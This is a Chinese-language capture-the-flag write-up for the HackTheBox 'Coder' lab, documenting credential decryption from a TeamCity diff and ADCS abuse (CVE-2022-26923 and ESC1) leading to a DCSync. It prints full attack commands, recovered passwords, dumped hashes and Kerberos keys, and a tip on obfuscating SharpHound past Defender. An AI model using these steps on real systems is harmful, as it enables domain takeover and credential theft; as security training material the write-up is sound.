横向移动 枚举用户,我们的user flag应该存在于e.black用户桌面上,我们需要进行横向移动
在隐藏目录C:\programdata
下找到JetBrains
的工作目录,我们进入TeamCity
中寻找一下可利用的地方
我们在system
文件夹下找到每次构建时的更改文件changes
,我们看一下除了我们在利用时上传的diff.txt
文件是否还存在其他diff.txt
文件是在靶机启动前就存在的
经过我们的排除,发现20
开头的diff
文件均是我们自己构建时上传的,101.changes.diff
这个文件十分可疑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1 index d6515ce..a990b2e 100644 --- a/Get-ADCS_Report.ps1 +++ b/Get-ADCS_Report.ps1 @@ -77,11 +77,15 @@ Function script:send_mail { [string] $subject ) + +$key = Get-Content ".\key.key" +$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key ) +$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black" ,$pass ) $emailFrom = 'pkiadmins@coder.htb' $emailCC = 'e.black@coder.htb' $emailTo = 'itsupport@coder.htb' $smtpServer = 'smtp.coder.htb' -Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High +Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred } diff --git a/enc.txt b/enc.txt new file mode 100644 index 0000000..d352634 --- /dev/null +++ b/enc.txt @@ -0,0 +1,2 @@ +76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN +AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA== diff --git a/key.key b/key.key new file mode 100644 index 0000000..a6285ed --- /dev/null +++ b/key.key @@ -0,0 +1,32 @@ +144 +255 +52 +33 +65 +190 +44 +106 +131 +60 +175 +129 +127 +179 +69 +28 +241 +70 +183 +53 +153 +196 +10 +126 +108 +164 +172 +142 +119 +112 +20 +122
我们这里解释一下Git中文件发生的变化:
变化一:Get-ADCS_Report.ps1 文件的变化
新增加了几行代码:
Get-Content ".\key.key"
:从文件 key.key
中获取密钥
Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key
:从enc.txt
中读取加密的字符串,并使用上一步获取的密钥进行解密,生成一个SecureString
对象
$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
:将解密后的字符串转换为 PSCredential
对象,和用户名"coder\e.black"
一起构成完整的凭证信息
修改了一出代码:
原本的 Send-MailMessage
命令没有认证参数(-Credential
),被修改为包含 -Credential $cred
,使得发送邮件时使用经过解密的凭证进行身份验证
避免了将敏感信息(如明文密码)硬编码到脚本中
变化二:enc.txt文件新增
这是加密后的数据
变化三: key.key 文件新增
这是密钥
那么现在我们就可以在我们自己的Windows上进行上面的操作,然后利用(New-Object PSCredential $cred).GetNetworkCredential().Password
获取coder\e.black
的网络凭据,完整过程为
还原enc.txt
1 76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQANAA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
还原key.key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 144 255 52 33 65 190 44 106 131 60 175 129 127 179 69 28 241 70 183 53 153 196 10 126 108 164 172 142 119 112 20 122
在Windows上运行下面powershell命令
1 2 3 4 5 6 7 $key = Get-Content ".\key.key" $pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key )$cred = New-Object -TypeName System.Management.Automation.PSCredential("coder\e.black" ,$pass ) (New-Object PSCredential $cred ).GetNetworkCredential().Password
如下图所示,我们获得了e.black
域用户的密码ypOSJXPqlDOxxbQSfEERy300
利用winrm登录获取用户flag
1 evil-winrm -i 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300
域内权限提升 域内信息收集 我们看一下e.black
所在组
注意到下面红框中的PKI Admins
,我们需要看一下这个组的具体说明
这是一个大发现,e.black
所在PKI Admins
组可以管理ADCS服务,为我们滥用ADCS指明了道路
Bloodhound 和之前打过的HTB-Mist
类似,我们上传旧版本SharpHound时会被Windows Defender拦截,这里因为我们有了域内账户的票据可以直接尝试利用bloodhound-python
收集数据,或者直接上传最新版本的SharpHound也不会被杀,我在官方wp上看到了另一种方法—混淆SharpHound绕过Windows Denfender
利用InvisibilityCloak 这个项目,执行下面的命令进行混淆
1 ./InvisibilityCloak.py -d ../SharpHound -m reverse -n "ObfuscatedHound"
然后回到SharpHound目录,并按照仓库README.md文件中的指引,使用 dotnet 构建可执行文件
注:这里可能会出现Build failed
,但是不影响可执行文件的构建
这里为了方便我还是使用bloodhound-python
1 bloodhound-python -c All -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -ns 10.10.11.207 -d coder.htb -dc dc01.coder.htb --zip
在BloodHound中分析,标记所有已经拥有的节点
首先先看一下e.black
所有所在组
s.blade
所在组
它在两个刚才没有枚举到的组中,分别是BUILDAGENT MGMT
和SOFTWARE DEVELOPERS
,我们看一下这两个组的说明
两个组都与TeamCity有关
SVC_TEAMCITY
是一个普通的域账户,没有什么特别的地方
手工AD枚举 首先先枚举一下此域中的组织单元
1 Get-ADOrganizationalUnit -filter * | select Name
我们在上面知道域内存在BUILDAGENT MGMT
组,同时组织单元作为一种逻辑容器可以用来组织和管理 AD 中对象(用户、计算机、组、子 OU等),管理员可以将 OU 的权限赋予某个组,我们根据组名可以猜测BUILDAGENT MGMT
组对BuildAgents
OU存在一些控制权限,但是在我们的bloodhound上并没有显示出来。
在进一步枚举之前我们获取一下OU的DistinguishedName
1 Get-ADOrganizationalUnit -filter * | select Name, DistinguishedName
接下来列出BuildAgents
OU的ACL,查看谁对这个OU具有某种特定的权限
1 (Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb" ).access
Get-Acl
:获取指定对象的访问控制列表(ACL),用于查看谁拥有何种权限。
"AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb"
:域中OU对象的路径,前缀 AD:
表示使用的是Active Directory PS 驱动器
.access
:获取该对象的访问控制列表ACL中的所有访问控制项ACE
这里存在大量输出,我们这里仅对我们控制的组的权限感兴趣,我们利用where
进行一下简单的过滤
1 2 3 (Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb" ).access | where IdentityReference -eq "coder\PKI Admins" (Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb" ).access | where IdentityReference -eq "coder\Software Developers" (Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb" ).access | where IdentityReference -eq "coder\BuildAgent Mgmt"
where
:用于对对象集合进行条件过滤
IdentityReference
:表示权限项是属于哪个用户或组的
我们看一下两个ObjectType
我们具体可以操作什么东西
1 2 ObjectType: bf967a86-0de6-11d0-a285-00aa003049e2 ActiveDirectoryRights : CreateChild, DeleteChild ObjectType: 72 e39547-7b18-11d1-adef-00c04fd8d5cd ActiveDirectoryRights : Self, ReadProperty, WriteProperty
bf967a86-0de6-11d0-a285-00aa003049e2 这个类代表域中的计算机帐户,我们在域中具有对他的CreateChild
权限即在OU下创建对象的权限(如用户、组、计算机等),以及DeleteChild
删除该 OU 下的对象的权限
72e39547-7b18-11d1-adef-00c04fd8d5cd 这个代表验证写入权限以启用与计算机名称和域名兼容的 DNS 主机名属性的设置 ,我们具有ReadProperty
即可以读取对象的某些属性,WriteProperty
即可以修改对象的属性,self
允许用户自己修改自己的属性
CVE-2022–26923 其实到这里我们需要利用的ADCS漏洞就已经很明显了,即我在前几个文章中分析的CVE-2022–26923域内提权漏洞 ,最早在Oliver Lyak的文章Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) 提出,接下来我们进行利用
注:此靶机发布时CVE-2022–26923已经被修复,但是漏洞分析博客中都会指出在msPKI-EnrollmentFlag
属性中设置了新的CT_FLAG_NO_SECURITY_EXTENSION (0x80000)
标志的证书模板将不会嵌入新的 szOID_NTDS_CA_SECURITY_EXT OID
这个用于缓解CVE-2022–26923域内提权漏洞的标志,因此我们仍然可以利用CVE-2022–26923。因为我们能够控制PKI Admins
组,我们可以为自己创造恶意模板供我们利用CVE-2022–26923,只需要通过设置恶意模板的CT_FLAG_NO_SECURITY_EXTENSION 参数为 524288(16进制为 0x80000)
现在我们需要在我们的靶机上克隆一个证书模板进行修改,为了方便我们的操作,我们可以利用ADCSTemplate 这个powershell模块帮助我们导出、导入、删除、授权和发布AD域证书模板
1 git clone https://github.com/GoateePFE/ADCSTemplate.git
然后利用evil-winrm将其上传到我们的靶机上
1 upload ../RedTeam/ADCSTemplate/ .
接下来导入powershell脚本
1 import-module .\ADCSTemplate.psm1
列出当前所有的模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 Get-ADCSTemplate | Format-List DisplayNameDisplayName : User DisplayName : User Signature Only DisplayName : Smartcard User DisplayName : Authenticated Session DisplayName : Smartcard Logon DisplayName : Basic EFS DisplayName : Administrator DisplayName : EFS Recovery Agent DisplayName : Code Signing DisplayName : Trust List Signing DisplayName : Enrollment Agent DisplayName : Exchange Enrollment Agent (Offline request) DisplayName : Enrollment Agent (Computer) DisplayName : Computer DisplayName : Domain Controller DisplayName : Web Server DisplayName : Root Certification Authority DisplayName : Subordinate Certification Authority DisplayName : IPSec DisplayName : IPSec (Offline request) DisplayName : Router (Offline request) DisplayName : CEP Encryption DisplayName : Exchange User DisplayName : Exchange Signature Only DisplayName : Cross Certification Authority DisplayName : CA Exchange DisplayName : Key Recovery Agent DisplayName : Domain Controller Authentication DisplayName : Directory Email Replication DisplayName : Workstation Authentication DisplayName : RAS and IAS Server DisplayName : OCSP Response Signing DisplayName : Kerberos Authentication DisplayName : Coder-WebServer
导出其中名为Computer
的证书模板作为我们的样板,保存为JSON文件供我们之后进行修改
1 Export-ADCSTemplate -displayname Computer > computer.json
我们将生成的JSON对象读取到一个变量中,并将前文提到的 msPKI-Enrollment-Flag
属性设置为0x80000。然后,我们将修改后的 JSON 数据重新保存到 computer.json
文件中。
1 2 3 $a = get-content computer.json -raw | ConvertFrom-json $a .'msPKI-Enrollment-Flag' = 0 x80000$a | ConvertTo-Json | Set-Content computer.json
接下来利用computer.json
创建新的ADCS模板
1 New-ADCSTemplate -displayname pwned -Publish -JSON (gc computer.json -raw )
接下来利用s.blade
去创建机器账户(即恶意计算机对象),利用impacket的addcomputer脚本即可完成,但是脚本中默认不允许用户控制 DNS 名称,我们将对脚本进行修改,先复制一份出来
1 2 cp /usr/share/doc/python3-impacket/examples/addcomputer.py addcomputer.pycat addcomputer.py | grep -n dns
我们只需要将上图中所示的computerHostname修改为DC01即可
然后利用修改后的脚本添加计算机对象,注意这里是s.blade
账户
1 python3 addcomputer.py 'coder.htb/s.blade:AmcwNO60Zg3vca3o0HDrTC6D' -method LDAPS -computer-name "pwned_pc" -computer-pass "Passw0rd" -computer-group OU=BuildAgents,OU=Development,DC=coder,DC=htb
注:这里的-computer-group
需要是我们可以控制的OU=BuildAgents,OU=Development,DC=coder,DC=htb
将新建的计算机对象注册到我们的恶意证书模板中
1 Set-ADCSTemplateACL -displayname pwned -type allow -identity 'coder\pwned_pc$' -enroll
Set-ADCSTemplateACL
:修改一个证书模板的访问控制列表
-type allow
:设置允许权限
-enroll
:授权这个计算计算机账户可以申请证书
注:如果注册的时候出现类似下面的错误说明机器账户并没有成功添加进域中,只要多添加几次就行了,在域中会有如下提示,这是因为靶机上存在机器账户清理脚本,会定期清理我们创建的机器账户
为我们的机器账户申请恶意证书
1 certipy-ad req -u pwned_pc\$@dc01 .coder.htb -p 'Passw0rd' -ca CODER-DC01-CA -template pwned -target dc01.coder.htb
获取域控哈希,这一步因为需要与域控进行Kerberos认证,所以需要伪造一下时间
1 faketime '21289 seconds' certipy-ad auth -pfx dc01.pfx
有了域控哈希,接下来打一个DCSYNC就可以下班了
1 impacket-secretsdump coder.htb/dc01\$@dc01 .coder.htb -hashes aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94 -dc-ip dc01.coder.htb
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ┌──(chromosome㉿kali)-[~/HTB/Coder] └─$ impacket-secretsdump coder.htb/dc01\$@dc01 .coder.htb -hashes aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94 -dc-ip dc01.coder.htb Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c::: coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d::: coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993::: coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33::: coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd::: coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a::: coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:86a6a038ff6058c56a74e2e35008f6b037b8e7bca8c75cc5ee4495f77d0be71e Administrator:aes128-cts-hmac-sha1-96:6d63b0853502cbbc8c8e40ad8fe88fa3 Administrator:des-cbc-md5:37feabd9d9575785 krbtgt:aes256-cts-hmac-sha1-96:aeb517a1efec8b79479cb1432e734555bc1039bcbd77bcdc39234b37199a70d3 krbtgt:aes128-cts-hmac-sha1-96:2bab4af978e4cee0b58fa1d377d35981 krbtgt:des-cbc-md5:100489b5839798cb coder.htb\e.black:aes256-cts-hmac-sha1-96:ccb6c47af9a05d91e7610fe396cd8ffcc0e51279a2eee253fab1fb40536a5a85 coder.htb\e.black:aes128-cts-hmac-sha1-96:650ad0d49ab4bcff325a7f2a846d433f coder.htb\e.black:des-cbc-md5:89290da2c2cd16ec coder.htb\c.cage:aes256-cts-hmac-sha1-96:ea9cc2144c3106e9325b1ddda16c27c644d9f9b7e95098581ceba19c75d9b296 coder.htb\c.cage:aes128-cts-hmac-sha1-96:2cff13848c9e8d07339a6ab41bf72088 coder.htb\c.cage:des-cbc-md5:fd6d578510df1af1 coder.htb\j.briggs:aes256-cts-hmac-sha1-96:ec3ac8b99094903a3ca006a725dc0867666347efb4baf04d8b2f8b0305ab65ee coder.htb\j.briggs:aes128-cts-hmac-sha1-96:39050d78545c40645fa889c13200f8f7 coder.htb\j.briggs:des-cbc-md5:7f5286d35def8f15 coder.htb\l.kang:aes256-cts-hmac-sha1-96:d7eb03d2695638c4ba423cd88e22dcdd7c0f6da996e5d6ed3af6c6d7e6c56661 coder.htb\l.kang:aes128-cts-hmac-sha1-96:25ad8331aa0fa2b26e220040b9e55937 coder.htb\l.kang:des-cbc-md5:571a573e61ced640 coder.htb\s.blade:aes256-cts-hmac-sha1-96:ceeab374597121113f3bdee3aab1fed0522506909b2f1ec24dfe36045eb3c252 coder.htb\s.blade:aes128-cts-hmac-sha1-96:69f4cada02748fba948e4c15460add9e coder.htb\s.blade:des-cbc-md5:26eca8ad9deaada2 coder.htb\svc_teamcity:aes256-cts-hmac-sha1-96:b6c7ed72b4434a89c56295df6b42ca68937702dda15f90f23423e8712abce030 coder.htb\svc_teamcity:aes128-cts-hmac-sha1-96:d6604e2fadb40bbf71708e7b9c9734a7 coder.htb\svc_teamcity:des-cbc-md5:264ab5645ed91c86 DC01$:aes256-cts-hmac-sha1-96:a43b686fdd5f2e576ad834c5b1d4327dd5bdbd3ec579677343a2c6c43c8f1740 DC01$:aes128-cts-hmac-sha1-96:22192237a3cb399c19a6b469dcd1cba8 DC01$:des-cbc-md5:cb9758c162ba4943 [*] Cleaning up...
最后利用管理员哈希获取root flag
靶机拓展 虽然靶机到这里flag已经拿完了,但是这个靶机还有很多值得我们去发掘的地方,难道真的只能使用CVE-2022–26923吗?
上面我们知道我么具有e.black
属于PKI Admins
,我们有权导入任何易受攻击的模板,我们先枚举一下当前域中的所有证书模板
1 certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text
第20个模板是我们刚才利用的Computer模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 20 Template Name : Machine Display Name : Computer Certificate Authorities : coder-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireDnsAsCn SubjectAltRequireDns Enrollment Flag : AutoEnrollment Private Key Flag : AttestNone Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : CODER.HTB\Domain Admins CODER.HTB\Domain Computers CODER.HTB\Enterprise Admins Object Control Permissions Owner : CODER.HTB\Enterprise Admins Write Owner Principals : CODER.HTB\Domain Admins CODER.HTB\Enterprise Admins Write Dacl Principals : CODER.HTB\Domain Admins CODER.HTB\Enterprise Admins Write Property Principals : CODER.HTB\Domain Admins CODER.HTB\Enterprise Admins
假如说我们需要利用的恶意模板是ESC1,那么我们要做的就是将当前的Computer模板修改为满足ESC1特征的模板即可
存在 ESC1 漏洞的证书模板允许低权限用户代表任意由用户指定的域对象进行注册并请求证书。这意味着,任何拥有注册权限的用户都可以为具有高权限的账户(如域管理员账户)请求证书。
ESC1特征为:
Client Authentication: True
Enabled: True
Enrollee Supplies Subject: True 申请证书的人(Enrollee)可以自己填写证书的Subject字段的内容
Requires Management Approval: False
Authorized Signatures Required: 0
上面的Computer模板我们需要修改Enrollee Supplies Subject
和Certificate Name Flag
两个字段,现在我们要了解字段怎么进行修改,直接在Certipy的存储库 中找到了MS_PKI_CERTIFICATE_NAME_FLAG
类,类下每个标志均有对应的数字,ENROLLEE_SUPPLIES_SUBJECT
标志对应数字 0x00000001
接下来着手进行修改,首先我们先获取一个对象
1 2 Export-ADCSTemplate -displayname Computer > computer.json$computer = gc computer.json -raw | ConvertFrom-Json
我们看一下具体需要修改什么值
1 $computer | get-member | findstr Name-Flag
需要修改msPKI-Certificate-Name-Flag
,我们将其修改为 0x1
1 $computer .'msPKI-Certificate-Name-Flag' = 0 x1
接下来的步骤就和上面基本上一致了,转回 json格式,创建模板,并为 e.black 注册证书
1 2 3 $computer | ConvertTo-Json | Set-Content my-esc1 .json New-ADCSTemplate -DisplayName "My-ESC1" -Publish -JSON (gc my-esc1 .json -raw )Set-ADCSTemplateACL -DisplayName "My-ESC1" -type allow -identity 'coder\e.black' -enroll
现在我们利用Certipy-ad扫描一下易受攻击的证书模板
1 certipy-ad find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text -stdout -vulnerable
输出的结果如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 Certificate Authorities 0 CA Name : coder-DC01-CA DNS Name : dc01.coder.htb Certificate Subject : CN=coder-DC01-CA, DC=coder, DC=htb Certificate Serial Number : 2180F0D10CFECB9840260D0730724BDF Certificate Validity Start : 2022-06-29 03:51:44+00:00 Certificate Validity End : 2052-06-29 04:01:44+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : CODER.HTB\Administrators Access Rights ManageCertificates : CODER.HTB\Administrators CODER.HTB\Domain Admins CODER.HTB\Enterprise Admins ManageCa : CODER.HTB\Administrators CODER.HTB\Domain Admins CODER.HTB\Enterprise Admins Enroll : CODER.HTB\Authenticated Users Certificate Templates 0 Template Name : My-ESC1 Display Name : My-ESC1 Certificate Authorities : coder-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : AutoEnrollment Private Key Flag : AttestNone Extended Key Usage : Server Authentication Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : CODER.HTB\Erron Black Object Control Permissions Owner : CODER.HTB\Erron Black Full Control Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins Write Owner Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins Write Dacl Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins Write Property Principals : CODER.HTB\Domain Admins CODER.HTB\Local System CODER.HTB\Enterprise Admins [!] Vulnerabilities ESC1 : 'CODER.HTB\\Erron Black' can enroll, enrollee supplies subject and template allows client authentication ESC4 : Template is owned by CODER.HTB\Erron Black
扫描完发现存在两个ESC漏洞,这个ESC4不是我们创建的,似乎是原本就存在
ESC1利用 1 certipy-ad req -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -ca CODER-DC01-CA -template My-ESC1 -upn administrator@coder.htb
可能会出现下面的错误
原因是证书不存在了,我们只需要重新发布证书即可
出现下面的错误只需要再重新申请一次证书即可,仅仅是一个超时罢了
接下来使用pfx文件进行管理员认证
1 certipy-ad auth -pfx administrator.pfx
仍然成功获取哈希
Bloodhound自定义查询 在HTB的官方wp中看到了利用cypher进行域内关系的枚举,简单的学一下cypher并尝试进行一下简单枚举
基础语法
元素
写法
例子
解释
节点(点)
(变量:标签)
(u:User)
一个 User
关系(边)
-[变量:关系名]->
-[m:MemberOf]->
成员关系
查询
MATCH
MATCH (u:User)
找所有用户
返回结果
RETURN
RETURN u.name
返回用户名
条件筛选
WHERE
WHERE u.enabled = true
只要启用的账户
ORDER BY
排序
shortestPath
找最短路径
LIMIT
限制返回数量
关系方向 ()-[:MemberOf]->()
:A属于B
()<-[ :HasSession ]-( )
:B有A的会话
枚举BuildAgent Mgmt组的关联关系
1 MATCH p=(o:OU)-[r:Contains*0..]->(n) RETURN p
*0..
:星号+范围,表示可以沿着0条、1条、2条、任意多条 Contains
边行走
(n)
:走到的目标节点,叫做 n
有助于我们充分了解OU的组成为OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB
接下来全面了解节点的层级结构
1 2 MATCH (o1)-[r1:Contains]->(o2:OU) WITH o1 MATCH p=(d)-[r2:Contains*0..]->(o1)- [r3:Contains]->(n) RETURN p
从域或者更上层的OU,一路Contains找到o1,再看o1下面直接Contains了什么东西